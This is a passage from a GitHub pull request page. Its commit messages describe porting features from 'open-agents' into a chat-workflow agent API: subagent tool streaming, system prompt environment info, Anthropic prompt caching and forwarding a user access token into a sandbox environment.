mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:
- An initial "Subagent · 0 tools · 0 tokens" card with stable
startedAt timestamp
- A live `pending: {name, input}` indicator for each tool-call
- Accumulated `usage` after each finish-step
- A final `{final: ModelMessage[], ...}` chunk containing the full
subagent transcript for expandable rendering
`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.
New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
addLanguageModelUsage to handle undefined inputs without
introducing zero-tokens placeholders.
Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.
Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): thread real cwd + currentBranch into system prompt (cutover Bundle A.7) (#597)
* feat(chat-workflow): thread real cwd + currentBranch into system prompt (Bundle A.7)
Third open-agents → api cutover bundle. The handler hardcoded
`workingDirectory: DEFAULT_WORKING_DIRECTORY` and never set
`currentBranch`, so the agent had no environment info in its system
prompt and had to run `pwd` / `git branch` on every turn.
Production verification (today, before this fix):
agent: "My system prompt does not contain working directory or
branch information."
After this fix the agent receives an Environment section + Current
branch line + cloud-sandbox checkpointing block — same shape as
open-agents (sandbox.recoupable.com) emits.
Changes:
- New `lib/chat/buildAgentSystemPrompt.ts` (SRP) — assembles
environment section → Current branch → cloud-sandbox checkpointing
→ custom instructions, all conditional on inputs. Mirrors
open-agents' `buildSystemPrompt` (packages/agent/system-prompt.ts).
- New `lib/chat/cloudSandboxInstructions.ts` (SRP) — ports
open-agents' `CLOUD_SANDBOX_INSTRUCTIONS` block with `{branch}`
placeholder substitution.
- `handleChatWorkflowStream`: connect the sandbox once for both skill
discovery AND cwd/branch reading, then thread real values into
`AgentContext.sandbox.workingDirectory` + `.currentBranch`. On
connect failure, fall back to DEFAULT_WORKING_DIRECTORY (preserves
today's behavior; tools surface real errors later when they
reconnect).
- `runAgentStep`: build the system prompt via
`buildAgentSystemPrompt({cwd, currentBranch, customInstructions})`
instead of using the static `agentCustomInstructions` directly.
Scope reduced from the original "A.7+9" bundle: dropped contextLimit
plumbing because it's a client-side display concern in open-agents,
not server-side model routing (verified via grep — open-agents'
server never reads context.contextLimit either).
Tests: 7 new (6 buildAgentSystemPrompt + 1 runAgentStep wiring);
full suite 3121/3121 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore(chat-workflow): drop currentBranch handling from system prompt
Per direction: branch is always `main` (the default branch) in api's
deployment topology, so the per-branch `Current branch: <name>` line
and cloud-sandbox checkpointing block don't add information today.
Strip the templating to keep the system prompt focused on what's
load-bearing (the Environment section indicating workspace-relative
paths).
- Delete `lib/chat/cloudSandboxInstructions.ts` (was a port of
open-agents' CLOUD_SANDBOX_INSTRUCTIONS, only useful with a real
per-session branch)
- Drop `currentBranch` from `buildAgentSystemPrompt` options +
rendering
- Stop reading `sandbox.currentBranch` in handleChatWorkflowStream
(the field stays on AgentContext.sandbox for type completeness;
also consumed by createSandboxHandler unchanged)
- Remove branch-related test cases
Can be re-added later if/when meaningful per-session branches (e.g.
xx/abcdef12 generated branches) land.
Tests: 3119/3119 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): drop stale currentBranch arg from buildAgentSystemPrompt call
Build failure on bf1e245 — runAgentStep was still passing
`currentBranch: input.agentContext.sandbox.currentBranch` after
buildAgentSystemPrompt's option was removed. Stripping it.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): Anthropic prompt cache control (Bundle A.6) (#599)
Fourth open-agents → api cutover bundle. runAgentStep was sending the
same system prompt + tool definitions on every turn as fresh input,
even though Anthropic prompt caching can shave 90% off subsequent
input cost. Production traces showed `cacheReadTokens: 0` on every
api turn, while open-agents shows cacheRead matching cacheWrite from
the prior turn — i.e. open-agents reuses the cached prefix.
Changes (SRP — one function per file):
- `lib/agent/contextManagement/isAnthropicModel.ts` — predicate
port of open-agents'
`packages/agent/context-management/cache-control.ts:5`.
- `lib/agent/contextManagement/addCacheControlToTools.ts` — marks
the LAST tool with `cacheControl: { type: "ephemeral" }`. Last-only
conserves Anthropic's 4-breakpoint limit.
- `lib/agent/contextManagement/addCacheControlToMessages.ts` —
marks the LAST message with `cacheControl` on every step, per
Anthropic's "mark the final block of the final message" guidance.
`runAgentStep` now:
- Wraps the tool set via `addCacheControlToTools(...)` before passing
to streamText (static — set once per step).
- Adds a `prepareStep` callback that wraps `messages` via
`addCacheControlToMessages(...)` on every internal model call.
Production behavior reproducer (Haiku 4.5, identical 2-turn prompt
to both backends):
api prod (broken): turn1 cacheWrite=0 cacheRead=0 cost=$0.005952
turn2 cacheWrite=0 cacheRead=0 cost=$0.005959
→ flat cost; full input billed every turn.
open-agents prod: turn1 cacheWrite=10966 cacheRead=0
turn2 cacheWrite=12 cacheRead=10966 cost drops 12x
→ near-full prefix re-read from cache on turn 2.
After this PR, api should match open-agents' caching curve.
Tests: 19 new (7 isAnthropicModel + 5 addCacheControlToTools + 5
addCacheControlToMessages + 2 runAgentStep wiring assertions); full
suite 3138/3138 pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): forward Privy JWT as RECOUP_ACCESS_TOKEN (Bundle A.4) (#601)
Fifth and final open-agents → api cutover bundle. The chat UI sends a
short-lived Privy JWT in the workflow request body as
`recoupAccessToken`. Today api silently strips it via Zod's default
`.strip()` mode and never plumbs it into the sandbox env, so the
`recoup-api` skill's curl examples can't authenticate as the user.
Production reproducer (today, before this fix):
api prod: recoup-api skill loads. curl returns
"RECOUP_ACCESS_TOKEN is not set" → 401.
Agent: "you need to sign in."
open-agents prod: recoup-api skill loads. curl returns HTTP 200
with the user's account_id.
Plumbing (all three layers TDD red → green):
- lib/chat/validateChatWorkflow.ts — accept
`recoupAccessToken: z.string().min(1).max(8192).optional()` in the
body schema. Open-agents-shape compatible.
- lib/agent/tools/AgentContext.ts — add `recoupAccessToken?: string`
field. Mirrors open-agents'
`packages/agent/types.ts:29`.
- lib/chat/handleChatWorkflowStream.ts — conditionally spread the
token into `agentContext` when validator surfaced it.
- lib/agent/tools/buildRecoupExecEnv.ts — inject
`RECOUP_ACCESS_TOKEN` into the sandbox exec env when the field is
set. The recoup-api skill's curl examples reference this env var.
Security note: only forward the token when the caller sent it in the
body (chat UI path). x-api-key callers don't set this field, so their
long-lived `recoup_sk_…` key is never exfiltratable from the sandbox
env. Maintained from the prior code comment.
Tests: 5 new (3 buildRecoupExecEnv + 1 validator + 1 handler);
plus 1 handler omit-when-undefined assertion. Full suite 3144/3144
pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant

@sweetmantech